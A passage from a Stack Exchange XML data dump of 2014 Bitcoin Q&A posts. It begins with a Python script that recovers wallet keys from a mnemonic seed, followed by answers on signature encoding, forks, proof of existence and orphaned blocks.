&quot;mud&quot;, &quot;nod&quot;, &quot;pause&quot;, &quot;relax&quot;, &quot;shiver&quot;, &quot;sudden&quot;, &quot;value&quot;, &quot;youth&quot;, &quot;abuse&quot;, &quot;admire&quot;, &quot;blink&quot;, &quot;breast&quot;, &quot;bruise&quot;, &quot;constantly&quot;, &quot;couple&quot;, &quot;creep&quot;, &quot;curve&quot;, &quot;difference&quot;, &quot;dumb&quot;, &quot;emptiness&quot;, &quot;gotta&quot;, &quot;honor&quot;, &quot;plain&quot;, &quot;planet&quot;, &quot;recall&quot;, &quot;rub&quot;, &quot;ship&quot;, &quot;slam&quot;, &quot;soar&quot;, &quot;somebody&quot;, &quot;tightly&quot;, &quot;weather&quot;, &quot;adore&quot;, &quot;approach&quot;, &quot;bond&quot;, &quot;bread&quot;, &quot;burst&quot;, &quot;candle&quot;, &quot;coffee&quot;, &quot;cousin&quot;, &quot;crime&quot;, &quot;desert&quot;, &quot;flutter&quot;, &quot;frozen&quot;, &quot;grand&quot;, &quot;heel&quot;, &quot;hello&quot;, &quot;language&quot;, &quot;level&quot;, &quot;movement&quot;, &quot;pleasure&quot;, &quot;powerful&quot;, &quot;random&quot;, &quot;rhythm&quot;, &quot;settle&quot;, &quot;silly&quot;, &quot;slap&quot;, &quot;sort&quot;, &quot;spoken&quot;, &quot;steel&quot;, &quot;threaten&quot;, &quot;tumble&quot;, &quot;upset&quot;, &quot;aside&quot;, &quot;awkward&quot;, &quot;bee&quot;, &quot;blank&quot;, &quot;board&quot;, &quot;button&quot;, &quot;card&quot;, &quot;carefully&quot;, &quot;complain&quot;, &quot;crap&quot;, &quot;deeply&quot;, &quot;discover&quot;, &quot;drag&quot;, &quot;dread&quot;, &quot;effort&quot;, &quot;entire&quot;, &quot;fairy&quot;, &quot;giant&quot;, &quot;gotten&quot;, &quot;greet&quot;, &quot;illusion&quot;, &quot;jeans&quot;, &quot;leap&quot;, &quot;liquid&quot;, &quot;march&quot;, &quot;mend&quot;, &quot;nervous&quot;, &quot;nine&quot;, &quot;replace&quot;, &quot;rope&quot;, &quot;spine&quot;, &quot;stole&quot;, &quot;terror&quot;, &quot;accident&quot;, &quot;apple&quot;, &quot;balance&quot;, &quot;boom&quot;, &quot;childhood&quot;, &quot;collect&quot;, &quot;demand&quot;, &quot;depression&quot;, &quot;eventually&quot;, &quot;faint&quot;, &quot;glare&quot;, &quot;goal&quot;, &quot;group&quot;, &quot;honey&quot;, &quot;kitchen&quot;, &quot;laid&quot;, &quot;limb&quot;, &quot;machine&quot;, &quot;mere&quot;, &quot;mold&quot;, &quot;murder&quot;, &quot;nerve&quot;, &quot;painful&quot;, &quot;poetry&quot;, &quot;prince&quot;, &quot;rabbit&quot;, &quot;shelter&quot;, &quot;shore&quot;, &quot;shower&quot;, &quot;soothe&quot;, &quot;stair&quot;, &quot;steady&quot;, &quot;sunlight&quot;, &quot;tangle&quot;, &quot;tease&quot;, &quot;treasure&quot;, &quot;uncle&quot;, &quot;begun&quot;, &quot;bliss&quot;, &quot;canvas&quot;, &quot;cheer&quot;, &quot;claw&quot;, &quot;clutch&quot;, &quot;commit&quot;, &quot;crimson&quot;, &quot;crystal&quot;, &quot;delight&quot;, &quot;doll&quot;, &quot;existence&quot;, &quot;express&quot;, &quot;fog&quot;, &quot;football&quot;, &quot;gay&quot;, &quot;goose&quot;, &quot;guard&quot;, &quot;hatred&quot;, &quot;illuminate&quot;, &quot;mass&quot;, &quot;math&quot;, &quot;mourn&quot;, &quot;rich&quot;, &quot;rough&quot;, &quot;skip&quot;, &quot;stir&quot;, &quot;student&quot;, &quot;style&quot;, &quot;support&quot;, &quot;thorn&quot;, &quot;tough&quot;, &quot;yard&quot;, &quot;yearn&quot;, &quot;yesterday&quot;, &quot;advice&quot;, &quot;appreciate&quot;, &quot;autumn&quot;, &quot;bank&quot;, &quot;beam&quot;, &quot;bowl&quot;, &quot;capture&quot;, &quot;carve&quot;, &quot;collapse&quot;, &quot;confusion&quot;, &quot;creation&quot;, &quot;dove&quot;, &quot;feather&quot;, &quot;girlfriend&quot;, &quot;glory&quot;, &quot;government&quot;, &quot;harsh&quot;, &quot;hop&quot;, &quot;inner&quot;, &quot;loser&quot;, &quot;moonlight&quot;, &quot;neighbor&quot;, &quot;neither&quot;, &quot;peach&quot;, &quot;pig&quot;, &quot;praise&quot;, &quot;screw&quot;, &quot;shield&quot;, &quot;shimmer&quot;, &quot;sneak&quot;, &quot;stab&quot;, &quot;subject&quot;, &quot;throughout&quot;, &quot;thrown&quot;, &quot;tower&quot;, &quot;twirl&quot;, &quot;wow&quot;, &quot;army&quot;, &quot;arrive&quot;, &quot;bathroom&quot;, &quot;bump&quot;, &quot;cease&quot;, &quot;cookie&quot;, &quot;couch&quot;, &quot;courage&quot;, &quot;dim&quot;, &quot;guilt&quot;, &quot;howl&quot;, &quot;hum&quot;, &quot;husband&quot;, &quot;insult&quot;, &quot;led&quot;, &quot;lunch&quot;, &quot;mock&quot;, &quot;mostly&quot;, &quot;natural&quot;, &quot;nearly&quot;, &quot;needle&quot;, &quot;nerd&quot;, &quot;peaceful&quot;, &quot;perfection&quot;, &quot;pile&quot;, &quot;price&quot;, &quot;remove&quot;, &quot;roam&quot;, &quot;sanctuary&quot;, &quot;serious&quot;, &quot;shiny&quot;, &quot;shook&quot;, &quot;sob&quot;, &quot;stolen&quot;, &quot;tap&quot;, &quot;vain&quot;, &quot;void&quot;, &quot;warrior&quot;, &quot;wrinkle&quot;, &quot;affection&quot;, &quot;apologize&quot;, &quot;blossom&quot;, &quot;bounce&quot;, &quot;bridge&quot;, &quot;cheap&quot;, &quot;crumble&quot;, &quot;decision&quot;, &quot;descend&quot;, &quot;desperately&quot;, &quot;dig&quot;, &quot;dot&quot;, &quot;flip&quot;, &quot;frighten&quot;, &quot;heartbeat&quot;, &quot;huge&quot;, &quot;lazy&quot;, &quot;lick&quot;, &quot;odd&quot;, &quot;opinion&quot;, &quot;process&quot;, &quot;puzzle&quot;, &quot;quietly&quot;, &quot;retreat&quot;, &quot;score&quot;, &quot;sentence&quot;, &quot;separate&quot;, &quot;situation&quot;, &quot;skill&quot;, &quot;soak&quot;, &quot;square&quot;, &quot;stray&quot;, &quot;taint&quot;, &quot;task&quot;, &quot;tide&quot;, &quot;underneath&quot;, &quot;veil&quot;, &quot;whistle&quot;, &quot;anywhere&quot;, &quot;bedroom&quot;, &quot;bid&quot;, &quot;bloody&quot;, &quot;burden&quot;, &quot;careful&quot;, &quot;compare&quot;, &quot;concern&quot;, &quot;curtain&quot;, &quot;decay&quot;, &quot;defeat&quot;, &quot;describe&quot;, &quot;double&quot;, &quot;dreamer&quot;, &quot;driver&quot;, &quot;dwell&quot;, &quot;evening&quot;, &quot;flare&quot;, &quot;flicker&quot;, &quot;grandma&quot;, &quot;guitar&quot;, &quot;harm&quot;, &quot;horrible&quot;, &quot;hungry&quot;, &quot;indeed&quot;, &quot;lace&quot;, &quot;melody&quot;, &quot;monkey&quot;, &quot;nation&quot;, &quot;object&quot;, &quot;obviously&quot;, &quot;rainbow&quot;, &quot;salt&quot;, &quot;scratch&quot;, &quot;shown&quot;, &quot;shy&quot;, &quot;stage&quot;, &quot;stun&quot;, &quot;third&quot;, &quot;tickle&quot;, &quot;useless&quot;, &quot;weakness&quot;, &quot;worship&quot;, &quot;worthless&quot;, &quot;afternoon&quot;, &quot;beard&quot;, &quot;boyfriend&quot;, &quot;bubble&quot;, &quot;busy&quot;, &quot;certain&quot;, &quot;chin&quot;, &quot;concrete&quot;, &quot;desk&quot;, &quot;diamond&quot;, &quot;doom&quot;, &quot;drawn&quot;, &quot;due&quot;, &quot;felicity&quot;, &quot;freeze&quot;, &quot;frost&quot;, &quot;garden&quot;, &quot;glide&quot;, &quot;harmony&quot;, &quot;hopefully&quot;, &quot;hunt&quot;, &quot;jealous&quot;, &quot;lightning&quot;, &quot;mama&quot;, &quot;mercy&quot;, &quot;peel&quot;, &quot;physical&quot;, &quot;position&quot;, &quot;pulse&quot;, &quot;punch&quot;, &quot;quit&quot;, &quot;rant&quot;, &quot;respond&quot;, &quot;salty&quot;, &quot;sane&quot;, &quot;satisfy&quot;, &quot;savior&quot;, &quot;sheep&quot;, &quot;slept&quot;, &quot;social&quot;, &quot;sport&quot;, &quot;tuck&quot;, &quot;utter&quot;, &quot;valley&quot;, &quot;wolf&quot;, &quot;aim&quot;, &quot;alas&quot;, &quot;alter&quot;, &quot;arrow&quot;, &quot;awaken&quot;, &quot;beaten&quot;, &quot;belief&quot;, &quot;brand&quot;, &quot;ceiling&quot;, &quot;cheese&quot;, &quot;clue&quot;, &quot;confidence&quot;, &quot;connection&quot;, &quot;daily&quot;, &quot;disguise&quot;, &quot;eager&quot;, &quot;erase&quot;, &quot;essence&quot;, &quot;everytime&quot;, &quot;expression&quot;, &quot;fan&quot;, &quot;flag&quot;, &quot;flirt&quot;, &quot;foul&quot;, &quot;fur&quot;, &quot;giggle&quot;, &quot;glorious&quot;, &quot;ignorance&quot;, &quot;law&quot;, &quot;lifeless&quot;, &quot;measure&quot;, &quot;mighty&quot;, &quot;muse&quot;, &quot;north&quot;, &quot;opposite&quot;, &quot;paradise&quot;, &quot;patience&quot;, &quot;patient&quot;, &quot;pencil&quot;, &quot;petal&quot;, &quot;plate&quot;, &quot;ponder&quot;, &quot;possibly&quot;, &quot;practice&quot;, &quot;slice&quot;, &quot;spell&quot;, &quot;stock&quot;, &quot;strife&quot;, &quot;strip&quot;, &quot;suffocate&quot;, &quot;suit&quot;, &quot;tender&quot;, &quot;tool&quot;, &quot;trade&quot;, &quot;velvet&quot;, &quot;verse&quot;, &quot;waist&quot;, &quot;witch&quot;, &quot;aunt&quot;, &quot;bench&quot;, &quot;bold&quot;, &quot;cap&quot;, &quot;certainly&quot;, &quot;click&quot;, &quot;companion&quot;, &quot;creator&quot;, &quot;dart&quot;, &quot;delicate&quot;, &quot;determine&quot;, &quot;dish&quot;, &quot;dragon&quot;, &quot;drama&quot;, &quot;drum&quot;, &quot;dude&quot;, &quot;everybody&quot;, &quot;feast&quot;, &quot;forehead&quot;, &quot;former&quot;, &quot;fright&quot;, &quot;fully&quot;, &quot;gas&quot;, &quot;hook&quot;, &quot;hurl&quot;, &quot;invite&quot;, &quot;juice&quot;, &quot;manage&quot;, &quot;moral&quot;, &quot;possess&quot;, &quot;raw&quot;, &quot;rebel&quot;, &quot;royal&quot;, &quot;scale&quot;, &quot;scary&quot;, &quot;several&quot;, &quot;slight&quot;, &quot;stubborn&quot;, &quot;swell&quot;, &quot;talent&quot;, &quot;tea&quot;, &quot;terrible&quot;, &quot;thread&quot;, &quot;torment&quot;, &quot;trickle&quot;, &quot;usually&quot;, &quot;vast&quot;, &quot;violence&quot;, &quot;weave&quot;, &quot;acid&quot;, &quot;agony&quot;, &quot;ashamed&quot;, &quot;awe&quot;, &quot;belly&quot;, &quot;blend&quot;, &quot;blush&quot;, &quot;character&quot;, &quot;cheat&quot;, &quot;common&quot;, &quot;company&quot;, &quot;coward&quot;, &quot;creak&quot;, &quot;danger&quot;, &quot;deadly&quot;, &quot;defense&quot;, &quot;define&quot;, &quot;depend&quot;, &quot;desperate&quot;, &quot;destination&quot;, &quot;dew&quot;, &quot;duck&quot;, &quot;dusty&quot;, &quot;embarrass&quot;, &quot;engine&quot;, &quot;example&quot;, &quot;explore&quot;, &quot;foe&quot;, &quot;freely&quot;, &quot;frustrate&quot;, &quot;generation&quot;, &quot;glove&quot;, &quot;guilty&quot;, &quot;health&quot;, &quot;hurry&quot;, &quot;idiot&quot;, &quot;impossible&quot;, &quot;inhale&quot;, &quot;jaw&quot;, &quot;kingdom&quot;, &quot;mention&quot;, &quot;mist&quot;, &quot;moan&quot;, &quot;mumble&quot;, &quot;mutter&quot;, &quot;observe&quot;, &quot;ode&quot;, &quot;pathetic&quot;, &quot;pattern&quot;, &quot;pie&quot;, &quot;prefer&quot;, &quot;puff&quot;, &quot;rape&quot;, &quot;rare&quot;, &quot;revenge&quot;, &quot;rude&quot;, &quot;scrape&quot;, &quot;spiral&quot;, &quot;squeeze&quot;, &quot;strain&quot;, &quot;sunset&quot;, &quot;suspend&quot;, &quot;sympathy&quot;, &quot;thigh&quot;, &quot;throne&quot;, &quot;total&quot;, &quot;unseen&quot;, &quot;weapon&quot;, &quot;weary&quot; ] &#xA;&#xA;def mn_decode( wlist ):&#xA;    n=1626;&#xA;    out = ''&#xA;    for i in range(len(wlist)/3):&#xA;        word1, word2, word3 = wlist[3*i:3*i+3]&#xA;        w1 =  words.index(word1)&#xA;        w2 = (words.index(word2))%n&#xA;        w3 = (words.index(word3))%n&#xA;        x = w1 +n*((w2-w1)%n) +n*n*((w3-w2)%n)&#xA;        out += '%08x'%x&#xA;    return out&#xA;&#xA;##--------------------------------------------------------------------------------&#xA;&#xA;print &quot;......ready to compute.....&quot;;&#xA;print &quot; &quot;;&#xA;seedlist=str.split(seed);&#xA;&#xA;password = None; &#xA;seed=mn_decode(seedlist);&#xA;&#xA;oldseed=seed;&#xA;newseed=stretch_key(seed);&#xA;curve = SECP256k1&#xA;master_private_key = ecdsa.SigningKey.from_secret_exponent( newseed, curve = SECP256k1 );&#xA;master_public_key = master_private_key.get_verifying_key().to_string().encode('hex');&#xA;mpk=master_public_key.decode('hex');&#xA;&#xA;print &quot;MASTER PUBLIC KEY IS &quot;&#xA;print &quot;  &quot;;&#xA;print master_public_key;&#xA;&#xA;&#xA;print &quot;  &quot;;&#xA;print &quot;  &quot;;&#xA;&#xA;print &quot;++++++++++++++++++++++++++++++++++&quot;;&#xA;&#xA;print &quot;RECEIVING ADDRESSES &quot;;&#xA;print &quot;  &quot;;&#xA;print &quot;  &quot;;&#xA;&#xA;for ra in range(0,numberofreceivingaddresses):&#xA;    addy=get_address(mpk,0,ra);&#xA;    pk=get_private_key(mpk,oldseed,(0,ra));&#xA;    print &quot;private key&quot;;&#xA;    print &quot;     &quot;+pk;&#xA;    print &quot;  &quot;;&#xA;&#xA;&#xA;print &quot;++++++++++++++++++++++++++++++++++&quot;;&#xA;&#xA;print &quot;CHANGE ADDRESSES&quot;;&#xA;&#xA;print &quot;  &quot;;&#xA;print &quot;  &quot;;&#xA;&#xA;for ca in range(0,numberofchangeaddresses):&#xA;    addy=get_address(mpk,1,ca);&#xA;    pk=get_private_key(mpk,oldseed,(1,ca));&#xA;    print &quot;private key&quot;;&#xA;    print &quot;     &quot;+pk;&#xA;    print &quot;  &quot;;&#xA;&#xA;&#xA;print &quot; &quot;;&#xA;print &quot; &quot;;&#xA;print &quot;++++++++++++++++++++++++++&quot;;&#xA;print &quot; &quot;;&#xA;print &quot; &quot;;&#xA;print &quot;END OF PROGRAM.  - Jonald Fyookball 2014...&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-23T15:03:05.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32099" PostTypeId="1" CreationDate="2014-10-23T15:28:43.733" Score="0" ViewCount="75" Body="&lt;p&gt;A fork is a splitting of the blockchain. But what is the difference between a hard fork and a soft fork?&lt;/p&gt;&#xA;" OwnerUserId="1853" LastActivityDate="2014-10-23T15:28:43.733" Title="What is the difference between a hard fork and a soft fork?" Tags="|blockchain-fork|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-10-23T21:52:59.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="32100" PostTypeId="2" ParentId="32094" CreationDate="2014-10-23T15:44:55.827" Score="0" Body="&lt;p&gt;Your tool for creating raw transactions has a bug. It encodes DER-signature to wrong format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look to these bytes (I added some extra spaces)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3044&#xA;0220 d034c6cd1aa5590a7d5dac9143d794c49953dd78083a746c9888bbe1020e0b4c&#xA;0220 a104832606c509a77543b5889c3940df22fc888aa3240c43ae1e99f6959fea87 01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These numbers should be encoded as signed positives, not as negative!&#xA;Modern bitcoin nodes do not accept/relay/mine such transactions.&#xA;But you can manually fix this raw transaction.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;replace 4730440220d034 with 493046022100d034&lt;/li&gt;&#xA;&lt;li&gt;replace 0220a104 with 022100a104&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What should I do? If I wait a few days, will the transaction simple fail &amp;amp; the funds revert back to the sending address? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will sending a second transaction work (possibly after waiting a few day)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. But you should create your second transaction with the fixed tool :)&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2014-10-23T15:51:10.667" LastActivityDate="2014-10-23T15:51:10.667" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32102" PostTypeId="1" AcceptedAnswerId="32105" CreationDate="2014-10-23T18:05:14.070" Score="3" ViewCount="513" Body="&lt;p&gt;I want to to create some kind of Proof-of-Authorship mechanism, that's something that many artists had asked before: &lt;a href=&quot;http://ask.metafilter.com/96453/how-can-I-prove-authorship-of-my-work&quot; rel=&quot;nofollow&quot;&gt;How can I prove authorship of my work&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To accomplish my objective I need to deal with 2 problems: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first, how to precisely and uniquely define a work, and &lt;/li&gt;&#xA;&lt;li&gt;second, use something like a public ledger to store and validate that information.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I will think about first later; it's a very complex problem; I want to know if I could use the blockchain for the second one. (If you can give me some suggestions for the first problem they will be appreciated too.)&lt;/p&gt;&#xA;" OwnerUserId="14793" LastEditorUserId="13530" LastEditDate="2014-10-23T20:19:23.570" LastActivityDate="2014-10-23T20:19:23.570" Title="How to exploit the possibilites of blockchain for proof of authorship?" Tags="|blockchain|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32103" PostTypeId="1" CreationDate="2014-10-23T18:05:36.663" Score="2" ViewCount="148" Body="&lt;p&gt;After mining, a block is validated and broadcasted by the miner. Then, where does this newly mined block get stored at? Where does my Bitcoin client pull the transaction data from?&lt;/p&gt;&#xA;" OwnerUserId="20788" LastActivityDate="2014-10-24T14:42:23.040" Title="How is the distributed transaction log stored in P2P network?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32104" PostTypeId="2" ParentId="32093" CreationDate="2014-10-23T19:22:36.640" Score="2" Body="&lt;p&gt;I think I figured out your problem. (Or, one of them, at least.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Step 6: POST params data in JSON format to this url:&lt;br&gt;&#xA;  &lt;a href=&quot;https://www.LakeBTC.com/api_v1&quot; rel=&quot;nofollow&quot;&gt;https://www.LakeBTC.com/api_v1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You're not POSTing the the right information; you're POSTing the entire signature.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;response = requests.post(self.apiUrl, data=p, headers=header)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;response = requests.post(self.apiUrl, data=json.dumps(&#xA;    {&#xA;        &quot;method&quot;: method,&#xA;        &quot;params&quot;:&quot;,&quot;.join(params),&#xA;        &quot;id&quot;: 1,&#xA;    }, headers=header)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-23T19:22:36.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32105" PostTypeId="2" ParentId="32102" CreationDate="2014-10-23T19:27:17.830" Score="5" Body="&lt;p&gt;If expressing the (artistic) work in any kind of document (be it sheets, photos or audio/video recording) is good enough, then you can use something called &lt;a href=&quot;/questions/19038/are-there-any-non-monetary-uses-for-the-blockchain-or-the-bitcoin-protocol-gene/19041#19041&quot;&gt;proof of existence&lt;/a&gt;. This simple method allows you to store a hash of any document into the Blockchain, thus proving it existed at the time when a particular block was mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can indlude the &lt;strong&gt;autor's name&lt;/strong&gt; (or other identifier) into the document, making it clear that he (at least) knew about it back then. If nobody proves the possesion/familiarity with that particular file/work dated before, the author should be able to claim his rights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One (perhaps the first) proof-of-existence service is &lt;a href=&quot;http://www.proofofexistence.com/&quot; rel=&quot;noreferrer&quot;&gt;proofofexistence.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-23T19:27:17.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32106" PostTypeId="2" ParentId="19703" CreationDate="2014-10-23T20:00:49.140" Score="3" Body="&lt;p&gt;Just to give a quick update on this, it is no longer necessary to &quot;burn&quot; bitcoins when creating a proof of existence. The &lt;code&gt;OP_RETURN&lt;/code&gt; opcode re-enabled in &lt;strong&gt;Bitcoin Core 0.9&lt;/strong&gt; can be used to carry 40 bytes of arbitrary data. The coin associated with it will be &lt;strong&gt;added to the transaction fee&lt;/strong&gt; and can be claimed by the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the &lt;a href=&quot;http://www.proofofexistence.com/about&quot; rel=&quot;nofollow&quot;&gt;about&lt;/a&gt; page it seems &lt;strong&gt;proofofexistence.com&lt;/strong&gt; are already using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; According to Nick ODell's inquiry answered by core developer Jeff Garzik, this coin &lt;strong&gt;cannot&lt;/strong&gt; be claimed by the miner.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="13530" LastEditDate="2014-10-24T09:18:49.213" LastActivityDate="2014-10-24T09:18:49.213" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32107" PostTypeId="2" ParentId="4388" CreationDate="2014-10-23T20:14:38.513" Score="1" Body="&lt;p&gt;It is going to be slow when you first install. I'd recommend downloading the bootstrap.dat file. If there is an X and two monitors, you're either not connected to the internet or something like your firewall are preventing you from updating it.&lt;/p&gt;&#xA;" OwnerUserId="20802" LastActivityDate="2014-10-23T20:14:38.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32108" PostTypeId="1" CreationDate="2014-10-23T20:21:05.103" Score="1" ViewCount="447" Body="&lt;p&gt;I have a few Bitcoins that I manage with Armory. It shows the correct amount of money in my wallet under the correct address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now want to send the Bitcoins to somebody else. When I open my wallet and select the address with the Bitcoins and click on &quot;Send Bitcoins,&quot; all that happens is my that my wallet window closes and I am back in Armory's main menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a common problem? What should I do?&lt;/p&gt;&#xA;" OwnerUserId="20766" LastEditorUserId="2306" LastEditDate="2014-10-23T20:22:46.190" LastActivityDate="2014-10-23T20:22:46.190" Title="Sending Bitcoins with Armory doesn't work" Tags="|wallet|armory|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32109" PostTypeId="1" AcceptedAnswerId="32111" CreationDate="2014-10-24T01:26:31.927" Score="2" ViewCount="85" Body="&lt;p&gt;What does it mean that for bitcoin block to be on the Main Chain? What other chains are there? Is this as opposed to testnet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is regarding the main_chain value in the blockchain.info api here:  &lt;a href=&quot;https://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/blockchain_api&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2356" LastEditorUserId="5406" LastEditDate="2018-05-04T17:28:37.183" LastActivityDate="2018-05-04T17:28:37.183" Title="What does the main_chain value returned by blockchain.info mean?" Tags="|blockchain|blockchain.info|best-chain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32110" PostTypeId="1" AcceptedAnswerId="32119" CreationDate="2014-10-24T01:43:34.973" Score="3" ViewCount="296" Body="&lt;p&gt;I was reading a &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow noreferrer&quot;&gt;passage&lt;/a&gt; on the bitcoin wiki that pointed out that it doesn't make sense to call invalid chains &amp;quot;orphans,&amp;quot; since, by definition, every block in the blockchain except the genesis block has a parent.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Blocks in shorter chains (or invalid chains) are not used for anything. When the bitcoin client switches to another, longer chain, all valid transactions of the blocks inside the shorter chain are re-added to the pool of queued transactions and will be included in another block. The reward for the blocks on the shorter chain will not be present in the longest chain, so they will be practically lost, which is why a network-enforced 100-block maturation time for generations exists.&lt;/p&gt;&#xA;&lt;p&gt;These blocks on the shorter chains are often called &amp;quot;orphan&amp;quot; blocks. This is because the generation transactions do not have a parent block in the longest chain, so these generation transactions show up as orphan in the listtransactions RPC call. Several pools have misinterpreted these messages and started calling their blocks &amp;quot;orphans&amp;quot;. In reality, these blocks have a parent block, and might even have children.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is there a better way to refer to these blocks?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2023-10-20T17:35:28.633" LastActivityDate="2023-10-20T17:35:28.633" Title="Is there a correct way to refer to &quot;orphan&quot; blocks?" Tags="|terminology|orphaned-blocks|stale-block|block|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32111" PostTypeId="2" ParentId="32109" CreationDate="2014-10-24T01:46:17.560" Score="3" Body="&lt;p&gt;If a block is part of the main chain, that means that the tip of the blockchain is a descendant of that block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a block is not part of the main chain, that means there is a longer chain of blocks that does not include this one. These are called orphaned blocks or invalid chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a block is in the main chain, its parent is automatically in the main chain too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7MmR4.png&quot; alt=&quot;blockchain&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above figure, the black boxes are the main chain. The grey blocks are invalid chains. The green box is the genesis block.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-24T01:46:17.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32114" PostTypeId="1" AcceptedAnswerId="32321" CreationDate="2014-10-24T04:47:32.897" Score="1" ViewCount="148" Body="&lt;p&gt;Where can I find a list of all the nxt accounts that were the initial 72 seeders? I want to find out to see how many of these accounts have moved their funds and dispersed it to the public.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-12-05T17:19:04.170" Title="Where can I get a list of all the 72 initial NXT stakeholder addresses to see distribution?" Tags="|nxt|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32117" PostTypeId="2" ParentId="32103" CreationDate="2014-10-24T14:42:23.040" Score="1" Body="&lt;p&gt;Your client gets it from another client that has already received it. You then relay it to other clients that connect to you, and the cycle repeats.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-10-24T14:42:23.040" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32118" PostTypeId="2" ParentId="19491" CreationDate="2014-10-24T16:05:26.457" Score="2" Body="&lt;p&gt;If you run out of work while waiting for longpoll to finish, then what you should do is submit another getwork request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that just because you find a share in a particular piece of work, doesn't mean that you're done with that piece of work. There still might be shares or even a block solution in there somewhere.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-24T16:05:26.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32119" PostTypeId="2" ParentId="32110" CreationDate="2014-10-24T16:13:30.563" Score="2" Body="&lt;p&gt;Pieter Wuille &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5859/what-are-orphaned-and-stale-blocks/5869#5869&quot;&gt;suggests &lt;em&gt;extinct&lt;/em&gt; blocks&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The first is perhaps best called extinct blocks. These are blocks that were produced by building on an block that is no longer the active tip of the chain. Some nodes may have considered it to be the best block at some point, but they switched to another chain which does not contain the relevant block anymore. They are valid, verified, and their ancestry up to the genesis block is fully known - they're just not currently 'active'. They are sometimes called stale blocks (typically in the context of mining software realizing it built on old data) or orphan blocks. The latter name [orphans] originates from the fact that payouts from extinct blocks are denoted as &quot;orphaned&quot; in the reference client (referring to the fact that their coinbase transactions are now orphaned).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-10-25T06:11:29.290" CommentCount="0" ContentLicense="CC BY-SA 